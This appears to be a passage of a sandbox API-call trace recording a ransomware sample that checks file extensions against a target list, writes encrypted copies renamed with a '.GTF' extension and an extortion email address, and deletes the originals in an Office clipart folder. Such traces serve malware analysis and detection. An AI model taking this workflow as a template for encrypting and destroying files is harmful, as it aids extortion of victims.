	[0161.187] WriteFile (in: hFile=0x4dc, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xf3a0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xf3a0, lpOverlapped=0x0) returned 1
	[0161.189] ReadFile (in: hFile=0x4d0, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.189] WriteFile (in: hFile=0x4dc, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0161.189] SetEndOfFile (hFile=0x4dc) returned 1
	[0161.190] CloseHandle (hObject=0x4dc) returned 1
	[0161.190] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.190] SetEndOfFile (hFile=0x4d0) returned 1
	[0161.194] CloseHandle (hObject=0x4d0) returned 1
	[0161.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0161.194] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 1
	[0161.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0161.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0161.195] lstrlenW (lpString=".doc") returned 4
	[0161.195] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0161.195] lstrlenW (lpString=".docx") returned 5
	[0161.195] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1
	[0161.195] lstrlenW (lpString=".pdf") returned 4
	[0161.195] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0161.195] lstrlenW (lpString=".xls") returned 4
	[0161.195] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0161.195] lstrlenW (lpString=".xlsx") returned 5
	[0161.195] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1
	[0161.195] lstrlenW (lpString=".ppt") returned 4
	[0161.195] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0161.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0161.195] lstrlenW (lpString=".zip") returned 4
	[0161.195] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0161.195] lstrlenW (lpString=".rar") returned 4
	[0161.195] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0161.195] lstrlenW (lpString=".bz2") returned 4
	[0161.195] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0161.196] lstrlenW (lpString=".7z") returned 3
	[0161.196] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0161.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0161.196] lstrlenW (lpString=".dbf") returned 4
	[0161.196] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0161.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0161.196] lstrlenW (lpString=".1cd") returned 4
	[0161.196] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0161.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0161.196] lstrlenW (lpString=".jpg") returned 4
	[0161.196] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0161.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0161.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0161.196] lstrlenW (lpString=".doc") returned 4
	[0161.196] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0161.196] lstrlenW (lpString=".docx") returned 5
	[0161.196] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1
	[0161.196] lstrlenW (lpString=".pdf") returned 4
	[0161.196] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0161.196] lstrlenW (lpString=".xls") returned 4
	[0161.196] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0161.196] lstrlenW (lpString=".xlsx") returned 5
	[0161.196] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1
	[0161.196] lstrlenW (lpString=".ppt") returned 4
	[0161.196] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0161.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0161.196] lstrlenW (lpString=".zip") returned 4
	[0161.196] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0161.196] lstrlenW (lpString=".rar") returned 4
	[0161.196] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0161.196] lstrlenW (lpString=".bz2") returned 4
	[0161.196] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0161.196] lstrlenW (lpString=".7z") returned 3
	[0161.196] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0161.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0161.197] lstrlenW (lpString=".dbf") returned 4
	[0161.197] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0161.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0161.197] lstrlenW (lpString=".1cd") returned 4
	[0161.197] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0161.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0161.197] lstrlenW (lpString=".jpg") returned 4
	[0161.197] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0161.197] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0161.197] lstrlenW (lpString="J0099201.GIF") returned 12
	[0161.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0161.198] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=51401) returned 1
	[0161.198] CloseHandle (hObject=0x4d0) returned 1
	[0161.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif")) returned 0x220
	[0161.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0161.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0161.198] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.198] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc
	[0161.199] GetLastError () returned 0x0
	[0161.199] ReadFile (in: hFile=0x4d0, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0xc8c9, lpOverlapped=0x0) returned 1
	[0161.203] WriteFile (in: hFile=0x4dc, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xc8d0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xc8d0, lpOverlapped=0x0) returned 1
	[0161.205] ReadFile (in: hFile=0x4d0, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.205] WriteFile (in: hFile=0x4dc, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0161.205] SetEndOfFile (hFile=0x4dc) returned 1
	[0161.205] CloseHandle (hObject=0x4dc) returned 1
	[0161.205] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.205] SetEndOfFile (hFile=0x4d0) returned 1
	[0161.212] CloseHandle (hObject=0x4d0) returned 1
	[0161.213] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0161.213] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif")) returned 1
	[0161.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0161.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0161.213] lstrlenW (lpString=".doc") returned 4
	[0161.213] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0161.214] lstrlenW (lpString=".docx") returned 5
	[0161.214] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1
	[0161.214] lstrlenW (lpString=".pdf") returned 4
	[0161.214] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0161.214] lstrlenW (lpString=".xls") returned 4
	[0161.214] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0161.214] lstrlenW (lpString=".xlsx") returned 5
	[0161.214] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1
	[0161.214] lstrlenW (lpString=".ppt") returned 4
	[0161.214] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0161.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0161.214] lstrlenW (lpString=".zip") returned 4
	[0161.214] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0161.214] lstrlenW (lpString=".rar") returned 4
	[0161.214] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0161.214] lstrlenW (lpString=".bz2") returned 4
	[0161.214] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0161.214] lstrlenW (lpString=".7z") returned 3
	[0161.214] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0161.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0161.214] lstrlenW (lpString=".dbf") returned 4
	[0161.214] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0161.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0161.214] lstrlenW (lpString=".1cd") returned 4
	[0161.214] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0161.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0161.214] lstrlenW (lpString=".jpg") returned 4
	[0161.214] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0161.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0161.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0161.214] lstrlenW (lpString=".doc") returned 4
	[0161.214] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0161.214] lstrlenW (lpString=".docx") returned 5
	[0161.214] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1
	[0161.214] lstrlenW (lpString=".pdf") returned 4
	[0161.214] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0161.215] lstrlenW (lpString=".xls") returned 4
	[0161.215] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0161.215] lstrlenW (lpString=".xlsx") returned 5
	[0161.215] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1
	[0161.215] lstrlenW (lpString=".ppt") returned 4
	[0161.215] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0161.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0161.215] lstrlenW (lpString=".zip") returned 4
	[0161.215] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0161.215] lstrlenW (lpString=".rar") returned 4
	[0161.215] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0161.215] lstrlenW (lpString=".bz2") returned 4
	[0161.215] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0161.215] lstrlenW (lpString=".7z") returned 3
	[0161.215] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0161.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0161.215] lstrlenW (lpString=".dbf") returned 4
	[0161.215] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0161.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0161.215] lstrlenW (lpString=".1cd") returned 4
	[0161.215] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0161.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0161.215] lstrlenW (lpString=".jpg") returned 4
	[0161.215] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0161.215] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0161.215] lstrlenW (lpString="J0099202.GIF") returned 12
	[0161.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0161.216] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=4967) returned 1
	[0161.216] CloseHandle (hObject=0x4d0) returned 1
	[0161.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif")) returned 0x220
	[0161.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0161.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0161.216] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.217] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc
	[0161.217] GetLastError () returned 0x0
	[0161.217] ReadFile (in: hFile=0x4d0, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x1367, lpOverlapped=0x0) returned 1
	[0161.346] WriteFile (in: hFile=0x4dc, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x1370, lpOverlapped=0x0) returned 1
	[0161.347] ReadFile (in: hFile=0x4d0, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.347] WriteFile (in: hFile=0x4dc, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0161.347] SetEndOfFile (hFile=0x4dc) returned 1
	[0161.347] CloseHandle (hObject=0x4dc) returned 1
	[0161.348] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.348] SetEndOfFile (hFile=0x4d0) returned 1
	[0161.350] CloseHandle (hObject=0x4d0) returned 1
	[0161.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0161.862] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif")) returned 1
	[0162.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0162.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0162.526] lstrlenW (lpString=".doc") returned 4
	[0162.526] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0162.526] lstrlenW (lpString=".docx") returned 5
	[0162.526] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1
	[0162.526] lstrlenW (lpString=".pdf") returned 4
	[0162.526] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0162.526] lstrlenW (lpString=".xls") returned 4
	[0162.526] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0162.526] lstrlenW (lpString=".xlsx") returned 5
	[0162.526] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1
	[0162.526] lstrlenW (lpString=".ppt") returned 4
	[0162.526] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0162.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0162.526] lstrlenW (lpString=".zip") returned 4
	[0162.526] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0162.526] lstrlenW (lpString=".rar") returned 4
	[0162.526] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0162.526] lstrlenW (lpString=".bz2") returned 4
	[0162.526] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0162.526] lstrlenW (lpString=".7z") returned 3
	[0162.526] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0162.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0162.526] lstrlenW (lpString=".dbf") returned 4
	[0162.526] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0162.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0162.526] lstrlenW (lpString=".1cd") returned 4
	[0162.526] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0162.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0162.526] lstrlenW (lpString=".jpg") returned 4
	[0162.526] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0162.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0162.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0162.526] lstrlenW (lpString=".doc") returned 4
	[0162.527] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0162.527] lstrlenW (lpString=".docx") returned 5
	[0162.527] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1
	[0162.527] lstrlenW (lpString=".pdf") returned 4
	[0162.527] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0162.527] lstrlenW (lpString=".xls") returned 4
	[0162.527] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0162.527] lstrlenW (lpString=".xlsx") returned 5
	[0162.527] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1
	[0162.527] lstrlenW (lpString=".ppt") returned 4
	[0162.527] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0162.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0162.527] lstrlenW (lpString=".zip") returned 4
	[0162.527] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0162.527] lstrlenW (lpString=".rar") returned 4
	[0162.527] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0162.527] lstrlenW (lpString=".bz2") returned 4
	[0162.527] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0162.527] lstrlenW (lpString=".7z") returned 3
	[0162.527] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0162.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0162.527] lstrlenW (lpString=".dbf") returned 4
	[0162.527] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0162.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0162.527] lstrlenW (lpString=".1cd") returned 4
	[0162.527] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0162.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0162.527] lstrlenW (lpString=".jpg") returned 4
	[0162.529] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0162.529] lstrcmpiW (lpString1=".BMP", lpString2=".GTF") returned -1
	[0162.529] lstrlenW (lpString="J0101865.BMP") returned 12
	[0162.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0162.530] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=32184) returned 1
	[0162.530] CloseHandle (hObject=0x504) returned 1
	[0162.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 0x220
	[0162.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0162.531] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.531] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0162.532] GetLastError () returned 0x0
